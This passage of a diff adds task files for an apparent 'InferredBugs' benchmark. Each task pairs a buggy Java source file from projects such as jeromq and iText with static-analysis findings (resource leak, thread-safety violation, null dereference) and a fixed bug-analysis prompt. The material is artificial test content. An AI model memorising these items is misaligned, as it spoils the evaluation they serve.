+        PdfDocument pdfDoc = new PdfDocument(writer);
+
+        Document doc = new Document(pdfDoc);
+
+        ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+        int nRead;
+        FileInputStream is = new FileInputStream(sourceFolder+"Desert.jpg");
+
+        nRead = is.read();
+        while (nRead != -1){
+            buffer.write(nRead);
+            nRead = is.read();
+        }
+
+        PdfImageXObject xObject = new PdfImageXObject(pdfDoc, ImageFactory.getJpegImage(buffer.toByteArray()));
+        Image image = new Image(xObject, 100);
+
+        doc.add(new Paragraph(new Text("First Line")));
+        Paragraph p = new Paragraph();
+        p.add(image);
+        image.setTranslationDistance(100, -100);
+        doc.add(p);
+        doc.add(new Paragraph(new Text("Second Line")));
+
+        doc.close();
+
+        Assert.assertNull(new CompareTool().compareByContent(outFileName, cmpFileName, destinationFolder, "diff"));
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileInputStream` acquired by call to `FileInputStream(...)` at line 43 is not released after line 51.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ImageTest.imageTest01()
+
+### Procedure Id:
+com.itextpdf.model.ImageTest.imageTest01():void.bd76b4320059c02d185d99f0c4095135
+
+### File:
+model/src/test/java/com/itextpdf/model/ImageTest.java
+
+### Key:
+ImageTest.java|imageTest01|RESOURCE_LEAK
+
+### Node Key:
+eb8dc6a9d15b5d9ef43c733543a2ca6c
+
+### Hash:
+669febeaf4b703205097fd002a239759
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-11151/instruction.md b/inferredbugs-11151/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b608025dc59c9374dbd7cba6e0c4e53eb6db8d1b
--- /dev/null
+++ b/inferredbugs-11151/instruction.md
@@ -0,0 +1,326 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jeromq
+**Bug ID:** 18
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.zeromq;
+
+import java.io.Closeable;
+import java.nio.channels.Selector;
+import java.util.List;
+import java.util.concurrent.CopyOnWriteArrayList;
+
+import org.zeromq.ZMQ.Context;
+import org.zeromq.ZMQ.Poller;
+import org.zeromq.ZMQ.Socket;
+
+/**
+ * ZContext provides a high-level ZeroMQ context management class
+ *
+ * It manages open sockets in the context and automatically closes these before terminating the context.
+ * It provides a simple way to set the linger timeout on sockets, and configure contexts for number of I/O threads.
+ * Sets-up signal (interrupt) handling for the process.
+ *
+ */
+
+public class ZContext implements Closeable
+{
+    /**
+     * Reference to underlying Context object
+     */
+    private volatile Context context; //  Created lazily, use getContext() to access.
+
+    /**
+     * List of sockets managed by this ZContext
+     */
+    private final List<Socket> sockets;
+
+    /**
+     * Number of io threads allocated to this context, default 1
+     */
+    private final int ioThreads;
+
+    /**
+     * Linger timeout, default 0
+     */
+    private int linger;
+
+    /**
+     * Indicates if context object is owned by main thread
+     * (useful for multi-threaded applications)
+     */
+    private final boolean main;
+
+    /**
+     * Class Constructor
+     */
+    public ZContext()
+    {
+        this(1);
+    }
+
+    public ZContext(int ioThreads)
+    {
+        this(null, true, ioThreads);
+    }
+
+    private ZContext(Context context, boolean main, int ioThreads)
+    {
+        sockets = new CopyOnWriteArrayList<>();
+        this.context = context;
+        this.ioThreads = ioThreads;
+        this.main = main;
+        linger = 0;
+    }
+
+    /**
+     * Destructor.  Call this to gracefully terminate context and close any managed 0MQ sockets
+     */
+    public void destroy()
+    {
+        for (Socket socket : sockets) {
+            socket.setLinger(linger);
+            socket.close();
+        }
+        sockets.clear();
+
+        // Only terminate context if we are on the main thread
+        if (isMain() && context != null) {
+            context.term();
+        }
+
+        synchronized (this) {
+            context = null;
+        }
+    }
+
+    /**
+     * Creates a new managed socket within this ZContext instance.
+     * Use this to get automatic management of the socket at shutdown
+     * @param type
+     *          socket type (see ZMQ static class members)
+     * @return
+     *          Newly created Socket object
+     */
+    public Socket createSocket(int type)
+    {
+        // Create and register socket
+        Socket socket = getContext().socket(type);
+        sockets.add(socket);
+        return socket;
+    }
+
+    /**
+     * Destroys managed socket within this context
+     * and remove from sockets list
+     * @param s
+     *          org.zeromq.Socket object to destroy
+     */
+    public void destroySocket(Socket s)
+    {
+        if (s == null) {
+            return;
+        }
+
+        if (sockets.remove(s)) {
+            s.setLinger(linger);
+            s.close();
+        }
+    }
+
+    public Selector createSelector()
+    {
+        return getContext().selector();
+    }
+
+    public Poller createPoller(int size)
+    {
+        return new Poller(getContext(), size);
+    }
+
+    /**
+     * Creates new shadow context.
+     * Shares same underlying org.zeromq.Context instance but has own list
+     * of managed sockets, io thread count etc.
+     * @param ctx   Original ZContext to create shadow of
+     * @return  New ZContext
+     */
+    public static ZContext shadow(ZContext ctx)
+    {
+        return new ZContext(ctx.getContext(), false, ctx.getIoThreads());
+    }
+
+    /**
+     * @return the ioThreads
+     */
+    public int getIoThreads()
+    {
+        return ioThreads;
+    }
+
+    /**
+     * @param ioThreads the number of ioThreads to set
+     * @deprecated This value should not be changed after the context is initialized.
+     */
+    @Deprecated
+    public void setIoThreads(int ioThreads)
+    {
+        return;
+    }
+
+    /**
+     * @return the linger
+     */
+    public int getLinger()
+    {
+        return linger;
+    }
+
+    /**
+     * @param linger the linger to set
+     */
+    public void setLinger(int linger)
+    {
+        this.linger = linger;
+    }
+
+    /**
+     * @return the main
+     */
+    public boolean isMain()
+    {
+        return main;
+    }
+
+    /**
+     * @param main whether or not the context is being set to main
+     * @deprecated This value should not be changed after the context is initialized.
+     */
+    @Deprecated
+    public void setMain(boolean main)
+    {
+        return;
+    }
+
+    /**
+     * @return the context
+     */
+    public Context getContext()
+    {
+        Context result = context;
+        if (result == null) {
+            synchronized (this) {
+                result = context;
+                if (result == null) {
+                    result = ZMQ.context(ioThreads);
+                    context = result;
+                }
+            }
+        }
+        return result;
+    }
+
+    /**
+     * @param ctx sets the underlying zmq.Context associated with this ZContext wrapper object
+     * @deprecated This value should not be changed after the ZContext is initialized.
+     */
+    @Deprecated
+    public void setContext(Context ctx)
+    {
+        return;
+    }
+
+    /**
+     * @return the sockets
+     */
+    public List<Socket> getSockets()
+    {
+        return sockets;
+    }
+
+    @Override
+    public void close()
+    {
+        destroy();
+    }
+
+    public boolean isClosed()
+    {
+        synchronized (this) {
+            if (context == null) {
+                return true;
+            }
+            return context.isClosed();
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `org.zeromq.ZContext.destroySocket` indirectly writes to field `$T1_1237.zmq.Options.mechanism` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ZContext.destroySocket(ZMQ$Socket)
+
+### Procedure Id:
+org.zeromq.ZContext.destroySocket(org.zeromq.ZMQ$Socket):void.d040f9f21d883acb870f8a504264f6c0
+
+### File:
+src/main/java/org/zeromq/ZContext.java
+
+### Key:
+ZContext.java|destroySocket|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+9b8baf5ba94b73860addad5c9fe0dcdd
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-11156/instruction.md b/inferredbugs-11156/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..635a8a88d647e540579f3bbea924819ad5b189ed
--- /dev/null
+++ b/inferredbugs-11156/instruction.md
@@ -0,0 +1,498 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jeromq
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+    Copyright (c) 2007-2014 Contributors as noted in the AUTHORS file
+
+    This file is part of 0MQ.
+
+    0MQ is free software; you can redistribute it and/or modify it under
+    the terms of the GNU Lesser General Public License as published by
+    the Free Software Foundation; either version 3 of the License, or
+    (at your option) any later version.
+
+    0MQ is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+package guide;
+
+import org.zeromq.ZContext;
+import org.zeromq.ZLoop;
+import org.zeromq.ZLoop.IZLoopHandler;
+import org.zeromq.ZMQ;
+import org.zeromq.ZMQ.PollItem;
+import org.zeromq.ZMQ.Socket;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+
+//  Clone server - Model Six
+public class clonesrv6
+{
+    private ZContext ctx;               //  Context wrapper
+    private Map<String, kvmsg> kvmap;   //  Key-value store
+    private bstar bStar;                //  Bstar reactor core
+    private long sequence;              //  How many updates we're at
+    private int port;                   //  Main port we're working on
+    private int peer;                   //  Main port of our peer
+    private Socket publisher;           //  Publish updates and hugz
+    private Socket collector;           //  Collect updates from clients
+    private Socket subscriber;          //  Get updates from peer
+    private List<kvmsg> pending;       //  Pending updates from clients
+    private boolean primary;            //  TRUE if we're primary
+    private boolean active;             //  TRUE if we're active
+    private boolean passive;            //  TRUE if we're passive
+
+    private static class Snapshots implements IZLoopHandler
+    {
+        @Override
+        public int handle(ZLoop loop, PollItem item, Object arg)
+        {
+            clonesrv6 srv = (clonesrv6) arg;
+            Socket socket = item.getSocket();
+
+            byte[] identity = socket.recv();
+            if (identity != null) {
+                //  Request is in second frame of message
+                String request = socket.recvStr();
+                String subtree = null;
+                if (request.equals("ICANHAZ?")) {
+                    subtree = socket.recvStr();
+                }
+                else
+                    System.out.printf("E: bad request, aborting\n");
+
+                if (subtree != null) {
+                    //  Send state socket to client
+                    for (Entry<String, kvmsg> entry: srv.kvmap.entrySet()) {
+                        sendSingle(entry.getValue(), identity, subtree, socket);
+                    }
+
+                    //  Now send END message with getSequence number
+                    System.out.printf("I: sending shapshot=%d\n", srv.sequence);
+                    socket.send(identity, ZMQ.SNDMORE);
+                    kvmsg kvmsg = new kvmsg(srv.sequence);
+                    kvmsg.setKey("KTHXBAI");
+                    kvmsg.setBody(subtree.getBytes(ZMQ.CHARSET));
+                    kvmsg.send(socket);
+                    kvmsg.destroy();
+                }
+            }
+            return 0;
+        }
+    }
+
+    private static class Collector implements IZLoopHandler
+    {
+        @Override
+        public int handle(ZLoop loop, PollItem item, Object arg)
+        {
+            clonesrv6 srv = (clonesrv6) arg;
+            Socket socket = item.getSocket();
+
+            kvmsg msg = kvmsg.recv(socket);
+            if (msg != null) {
+                if(srv.active){
+                    msg.setSequence(++srv.sequence);
+                    msg.send(srv.publisher);
+                    int ttl = Integer.parseInt(msg.getProp("ttl"));
+                    if (ttl > 0)
+                        msg.setProp("ttl",
+                                "%d", System.currentTimeMillis() + ttl * 1000);
+                    msg.store(srv.kvmap);
+                    System.out.printf("I: publishing update=%d\n", srv.sequence);
+                } else {
+                    //  If we already got message from active, drop it, else
+                    //  hold on pending list
+                    if (srv.wasPending(msg))
+                        msg.destroy();
+                    else
+                        srv.pending.add(msg);
+                }
+            }
+
+
+            return 0;
+        }
+    }
+
+    //  .split heartbeating
+    //  We send a HUGZ message once a second to all subscribers so that they
+    //  can detect if our server dies. They'll then switch over to the backup
+    //  server, which will become active:
+    private static class SendHugz implements IZLoopHandler
+    {
+        @Override
+        public int handle(ZLoop loop, PollItem item, Object arg)
+        {
+            clonesrv6 srv = (clonesrv6) arg;
+
+            kvmsg msg = new kvmsg(srv.sequence);
+            msg.setKey("HUGZ");
+            msg.setBody(ZMQ.MESSAGE_SEPARATOR);
+            msg.send(srv.publisher);
+            msg.destroy();
+
+            return 0;
+        }
+    }
+
+    private static class FlushTTL implements IZLoopHandler
+    {
+        @Override
+        public int handle(ZLoop loop, PollItem item, Object arg)
+        {
+            clonesrv6 srv = (clonesrv6) arg;
+            if (srv.kvmap != null) {
+                for (kvmsg msg: new ArrayList<kvmsg>(srv.kvmap.values())) {
+                    srv.flushSingle(msg);
+                }
+            }
+            return 0;
+        }
+    }
+
+    //  .split handling state changes
+    //  When we switch from passive to active, we apply our pending list so that
+    //  our kvmap is up-to-date. When we switch to passive, we wipe our kvmap
+    //  and grab a new snapshot from the active server:
+    private static class NewActive implements IZLoopHandler
+    {
+        @Override
+        public int handle(ZLoop loop, PollItem item, Object arg)
+        {
+            clonesrv6 srv = (clonesrv6) arg;
+
+            srv.active = true;
+            srv.passive = false;
+
+            //  Stop subscribing to updates
+            PollItem poller = new PollItem(srv.subscriber, ZMQ.Poller.POLLIN);
+            srv.bStar.zloop().removePoller(poller);
+
+            //  Apply pending list to own hash table
+            for (kvmsg msg: srv.pending) {
+                msg.setSequence(++srv.sequence);
+                msg.send(srv.publisher);
+                msg.store(srv.kvmap);
+                System.out.printf("I: publishing pending=%d\n", srv.sequence);
+            }
+
+            return 0;
+        }
+    }
+
+    private static class NewPassive implements IZLoopHandler
+    {
+        @Override
+        public int handle(ZLoop loop, PollItem item, Object arg)
+        {
+            clonesrv6 srv = (clonesrv6) arg;
+
+            if (srv.kvmap != null) {
+                for (kvmsg msg: srv.kvmap.values())
+                    msg.destroy();
+            }
+            srv.active = false;
+            srv.passive = true;
+
+            //  Start subscribing to updates
+            PollItem poller = new PollItem(srv.subscriber, ZMQ.Poller.POLLIN);
+            srv.bStar.zloop().addPoller(poller, new Subscriber(), srv);
+            return 0;
+        }
+    }
+
+    //  .split subscriber handler
+    //  When we get an update, we create a new kvmap if necessary, and then
+    //  add our update to our kvmap. We're always passive in this case:
+    private static class Subscriber implements IZLoopHandler
+    {
+        @Override
+        public int handle(ZLoop loop, PollItem item, Object arg)
+        {
+            clonesrv6 srv = (clonesrv6) arg;
+            Socket socket = item.getSocket();
+
+            //  Get state snapshot if necessary
+            if (srv.kvmap == null) {
+                srv.kvmap = new HashMap<String, kvmsg>();
+                Socket snapshot = srv.ctx.createSocket(ZMQ.DEALER);
+                snapshot.connect(String.format("tcp://localhost:%d", srv.peer));
+
+                System.out.printf("I: asking for snapshot from: tcp://localhost:%d\n",
+                        srv.peer);
+                snapshot.sendMore("ICANHAZ?");
+                snapshot.send(""); // blank subtree to get all
+
+                while (true) {
+                    kvmsg msg = kvmsg.recv(snapshot);
+                    if (msg == null)
+                        break;          //  Interrupted
+                    if (msg.getKey().equals("KTHXBAI")) {
+                        srv.sequence = msg.getSequence();
+                        msg.destroy();
+                        break;          //  Done
+                    }
+                    msg.store(srv.kvmap);
+                }
+                System.out.printf("I: received snapshot=%d\n",srv.sequence);
+                srv.ctx.destroySocket(snapshot);
+
+            }
+
+            //  Find and remove update off pending list
+            kvmsg msg = kvmsg.recv(item.getSocket());
+            if (msg == null)
+                return 0;
+
+            if (!msg.getKey().equals("HUGZ")) {
+                if (!srv.wasPending(msg)) {
+                    //  If active update came before client update, flip it
+                    //  around, store active update (with sequence) on pending
+                    //  list and use to clear client update when it comes later
+                    srv.pending.add(msg.dup());
+                }
+                //  If update is more recent than our kvmap, apply it
+                if (msg.getSequence() > srv.sequence) {
+                    srv.sequence = msg.getSequence();
+                    msg.store(srv.kvmap);
+                    System.out.printf("I: received update=%d\n",srv.sequence);
+                }
+            }
+            msg.destroy();
+
+            return 0;
+        }
+    }
+
+    public clonesrv6(boolean primary)
+    {
+        if (primary) {
+            bStar = new bstar(true, "tcp://*:5003",
+                "tcp://localhost:5004");
+            bStar.voter("tcp://*:5556",
+                ZMQ.ROUTER, new Snapshots(), this);
+
+            port = 5556;
+            peer = 5566;
+            this.primary = true;
+        } else {
+            bStar = new bstar(false, "tcp://*:5004",
+                    "tcp://localhost:5003");
+            bStar.voter("tcp://*:5566",
+                    ZMQ.ROUTER, new Snapshots(), this);
+
+            port = 5566;
+            peer = 5556;
+            this.primary = false;
+        }
+
+        //  Primary server will become first active
+        if (primary)
+            kvmap = new HashMap<String, kvmsg>();
+
+        ctx = new ZContext();
+        pending = new ArrayList<kvmsg>();
+        bStar.setVerbose(true);
+
+        //  Set up our clone server sockets
+        publisher = ctx.createSocket(ZMQ.PUB);
+        collector = ctx.createSocket(ZMQ.SUB);
+        collector.subscribe(ZMQ.SUBSCRIPTION_ALL);
+        publisher.bind(String.format("tcp://*:%d", port + 1));
+        collector.bind(String.format("tcp://*:%d", port+2));
+
+        //  Set up our own clone client interface to peer
+        subscriber = ctx.createSocket(ZMQ.SUB);
+        subscriber.subscribe(ZMQ.SUBSCRIPTION_ALL);
+        subscriber.connect(String.format("tcp://localhost:%d", peer + 1));
+    }
+
+    //  .split main task body
+    //  After we've setup our sockets, we register our binary star
+    //  event handlers, and then start the bstar reactor. This finishes
+    //  when the user presses Ctrl-C or when the process receives a SIGINT
+    //  interrupt:
+    public void run()
+    {
+        //  Register state change handlers
+        bStar.newActive(new NewActive(), this);
+        bStar.newPassive(new NewPassive(), this);
+
+        //  Register our other handlers with the bstar reactor
+        PollItem poller = new PollItem(collector, ZMQ.Poller.POLLIN);
+
+        bStar.zloop().addPoller(poller, new Collector(), this);
+        bStar.zloop().addTimer(1000, 0, new FlushTTL(), this);
+        bStar.zloop().addTimer(1000, 0, new SendHugz(), this);
+
+        //  Start the bstar reactor
+        bStar.start();
+
+        //  Interrupted, so shut down
+        for (kvmsg value: pending)
+            value.destroy();
+
+        bStar.destroy();
+        for (kvmsg value: kvmap.values())
+            value.destroy();
+
+        ctx.destroy();
+    }
+
+    //  Send one state snapshot key-value pair to a socket
+    //  Hash item data is our kvmsg object, ready to send
+    private static void sendSingle(kvmsg msg, byte[] identity, String subtree, Socket socket)
+    {
+        if (msg.getKey().startsWith(subtree)) {
+            socket.send (identity,    //  Choose recipient
+                            ZMQ.SNDMORE);
+            msg.send(socket);
+        }
+    }
+
+    //  The collector is more complex than in the clonesrv5 example because the
+    //  way it processes updates depends on whether we're active or passive.
+    //  The active applies them immediately to its kvmap, whereas the passive
+    //  queues them as pending:
+
+    //  If message was already on pending list, remove it and return TRUE,
+    //  else return FALSE.
+    boolean wasPending (kvmsg msg)
+    {
+        Iterator<kvmsg> it = pending.iterator();
+        while (it.hasNext()) {
+            if (msg.UUID().equals(it.next().UUID())) {
+                it.remove();
+                return true;
+            }
+
+        }
+        return false;
+    }
+
+
+    //  We purge ephemeral values using exactly the same code as in
+    //  the previous clonesrv5 example.
+    //  .skip
+    //  If key-value pair has expired, delete it and publish the
+    //  fact to listening clients.
+    private void flushSingle(kvmsg msg)
+    {
+        long ttl = Long.parseLong(msg.getProp("ttl"));
+        if (ttl > 0 && System.currentTimeMillis() >= ttl) {
+            msg.setSequence(++sequence);
+            msg.setBody(ZMQ.MESSAGE_SEPARATOR);
+            msg.send(publisher);
+            msg.store(kvmap);
+            System.out.printf("I: publishing delete=%d\n", sequence);
+        }
+    }
+
+    //  .split main task setup
+    //  The main task parses the command line to decide whether to start
+    //  as a primary or backup server. We're using the Binary Star pattern
+    //  for reliability. This interconnects the two servers so they can
+    //  agree on which one is primary and which one is backup. To allow the
+    //  two servers to run on the same box, we use different ports for
+    //  primary and backup. Ports 5003/5004 are used to interconnect the
+    //  servers. Ports 5556/5566 are used to receive voting events (snapshot
+    //  requests in the clone pattern). Ports 5557/5567 are used by the
+    //  publisher, and ports 5558/5568 are used by the collector:
+    public static void main(String[] args)
+    {
+        clonesrv6 srv = null;
+
+        if (args.length == 1 && "-p".equals(args[0])) {
+            srv = new clonesrv6(true);
+        } else if (args.length == 1 && "-b".equals(args[0])) {
+            srv = new clonesrv6(false);
+        } else {
+            System.out.printf("Usage: clonesrv4 { -p | -b }\n");
+            System.exit(0);
+        }
+        srv.run();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `msg.UUID()` could be null and is dereferenced at line 373.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean clonesrv6.wasPending(kvmsg)
+
+### Procedure Id:
+guide.clonesrv6.wasPending(guide.kvmsg):boolean.06bc0ae262aa655470f8317ba152797c
+
+### File:
+src/test/java/guide/clonesrv6.java
+
+### Key:
+clonesrv6.java|wasPending|NULL_DEREFERENCE
+
+### Node Key:
+d25d79ad460983f918149774137266aa
+
+### Hash:
+0eb0091938f964b89a56db670c05ee82
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-11157/instruction.md b/inferredbugs-11157/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c0b9753c8df89628655d747ebb614b954bc69ac9
--- /dev/null
+++ b/inferredbugs-11157/instruction.md
@@ -0,0 +1,328 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jeromq
+**Bug ID:** 17
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.zeromq;
+
+import java.io.Closeable;
+import java.nio.channels.Selector;
+import java.util.List;
+import java.util.concurrent.CopyOnWriteArrayList;
+
+import org.zeromq.ZMQ.Context;
+import org.zeromq.ZMQ.Poller;
+import org.zeromq.ZMQ.Socket;
+
+/**
+ * ZContext provides a high-level ZeroMQ context management class
+ *
+ * It manages open sockets in the context and automatically closes these before terminating the context.
+ * It provides a simple way to set the linger timeout on sockets, and configure contexts for number of I/O threads.
+ * Sets-up signal (interrupt) handling for the process.
+ *
+ */
+
+public class ZContext implements Closeable
+{
+    /**
+     * Reference to underlying Context object
+     */
+    private volatile Context context; //  Created lazily, use getContext() to access.
+
+    /**
+     * List of sockets managed by this ZContext
+     */
+    private final List<Socket> sockets;
+
+    /**
+     * Number of io threads allocated to this context, default 1
+     */
+    private final int ioThreads;
+
+    /**
+     * Linger timeout, default 0
+     */
+    private int linger;
+
+    /**
+     * Indicates if context object is owned by main thread
+     * (useful for multi-threaded applications)
+     */
+    private final boolean main;
+
+    /**
+     * Class Constructor
+     */
+    public ZContext()
+    {
+        this(1);
+    }
+
+    public ZContext(int ioThreads)
+    {
+        this(null, true, ioThreads);
+    }
+
+    private ZContext(Context context, boolean main, int ioThreads)
+    {
+        sockets = new CopyOnWriteArrayList<>();
+        this.context = context;
+        this.ioThreads = ioThreads;
+        this.main = main;
+        linger = 0;
+    }
+
+    /**
+     * Destructor.  Call this to gracefully terminate context and close any managed 0MQ sockets
+     */
+    public void destroy()
+    {
+        for (Socket socket : sockets) {
+            socket.setLinger(linger);
+            socket.close();
+        }
+        sockets.clear();
+
+        // Only terminate context if we are on the main thread
+        if (isMain() && context != null) {
+            context.term();
+        }
+
+        synchronized (this) {
+            context = null;
+        }
+    }
+
+    /**
+     * Creates a new managed socket within this ZContext instance.
+     * Use this to get automatic management of the socket at shutdown
+     * @param type
+     *          socket type (see ZMQ static class members)
+     * @return
+     *          Newly created Socket object
+     */
+    public Socket createSocket(int type)
+    {
+        // Create and register socket
+        Socket socket = getContext().socket(type);
+        sockets.add(socket);
+        return socket;
+    }
+
+    /**
+     * Destroys managed socket within this context
+     * and remove from sockets list
+     * @param s
+     *          org.zeromq.Socket object to destroy
+     */
+    public void destroySocket(Socket s)
+    {
+        if (s == null) {
+            return;
+        }
+
+        if (sockets.remove(s)) {
+            s.setLinger(linger);
+            s.close();
+        }
+    }
+
+    public Selector createSelector()
+    {
+        return getContext().selector();
+    }
+
+    public Poller createPoller(int size)
+    {
+        return new Poller(getContext(), size);
+    }
+
+    /**
+     * Creates new shadow context.
+     * Shares same underlying org.zeromq.Context instance but has own list
+     * of managed sockets, io thread count etc.
+     * @param ctx   Original ZContext to create shadow of
+     * @return  New ZContext
+     */
+    public static ZContext shadow(ZContext ctx)
+    {
+        return new ZContext(ctx.getContext(), false, ctx.getIoThreads());
+    }
+
+    /**
+     * @return the ioThreads
+     */
+    public int getIoThreads()
+    {
+        return ioThreads;
+    }
+
+    /**
+     * @param ioThreads the number of ioThreads to set
+     * @deprecated This value should not be changed after the context is initialized.
+     */
+    @Deprecated
+    public void setIoThreads(int ioThreads)
+    {
+        return;
+    }
+
+    /**
+     * @return the linger
+     */
+    public int getLinger()
+    {
+        return linger;
+    }
+
+    /**
+     * @param linger the linger to set
+     */
+    public void setLinger(int linger)
+    {
+        this.linger = linger;
+    }
+
+    /**
+     * @return the main
+     */
+    public boolean isMain()
+    {
+        return main;
+    }
+
+    /**
+     * @param main whether or not the context is being set to main
+     * @deprecated This value should not be changed after the context is initialized.
+     */
+    @Deprecated
+    public void setMain(boolean main)
+    {
+        return;
+    }
+
+    /**
+     * @return the context
+     */
+    public Context getContext()
+    {
+        Context result = context;
+        if (result == null) {
+            synchronized (this) {
+                result = context;
+                if (result == null) {
+                    result = ZMQ.context(ioThreads);
+                    context = result;
+                }
+            }
+        }
+        return result;
+    }
+
+    /**
+     * @param ctx sets the underlying zmq.Context associated with this ZContext wrapper object
+     * @deprecated This value should not be changed after the ZContext is initialized.
+     */
+    @Deprecated
+    public void setContext(Context ctx)
+    {
+        return;
+    }
+
+    /**
+     * @return the sockets
+     */
+    public List<Socket> getSockets()
+    {
+        return sockets;
+    }
+
+    @Override
+    public void close()
+    {
+        destroy();
+    }
+
+    public boolean isClosed()
+    {
+        synchronized (this) {
+            if (context == null) {
+                return true;
+            }
+            return context.isClosed();
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `org.zeromq.ZContext.destroy` indirectly writes to field `socket.org.zeromq.ZMQ$Socket.base.zmq.SocketBase.tag` outside of synchronization.
+ Reporting because this access may occur on a background thread.
+
+Note that the prefix path socket has been contaminated during the execution, so the reported race on socket.org.zeromq.ZMQ$Socket.base.zmq.SocketBase.tag might be a false positive.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ZContext.destroy()
+
+### Procedure Id:
+org.zeromq.ZContext.destroy():void.4999bab718cfade53cdd45c591a6a11e
+
+### File:
+src/main/java/org/zeromq/ZContext.java
+
+### Key:
+ZContext.java|destroy|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+3b6b6e8769d4a8717f30be9ca8c2e25e
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-11158/instruction.md b/inferredbugs-11158/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c966274386a43417d76cf3768406f61f7452f23c
--- /dev/null
+++ b/inferredbugs-11158/instruction.md
@@ -0,0 +1,211 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jeromq
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+    Copyright (c) 2010-2011 250bpm s.r.o.
+    Copyright (c) 2007-2009 iMatix Corporation
+    Copyright (c) 2007-2011 Other contributors as noted in the AUTHORS file
+
+    This file is part of 0MQ.
+
+    0MQ is free software; you can redistribute it and/or modify it under
+    the terms of the GNU Lesser General Public License as published by
+    the Free Software Foundation; either version 3 of the License, or
+    (at your option) any later version.
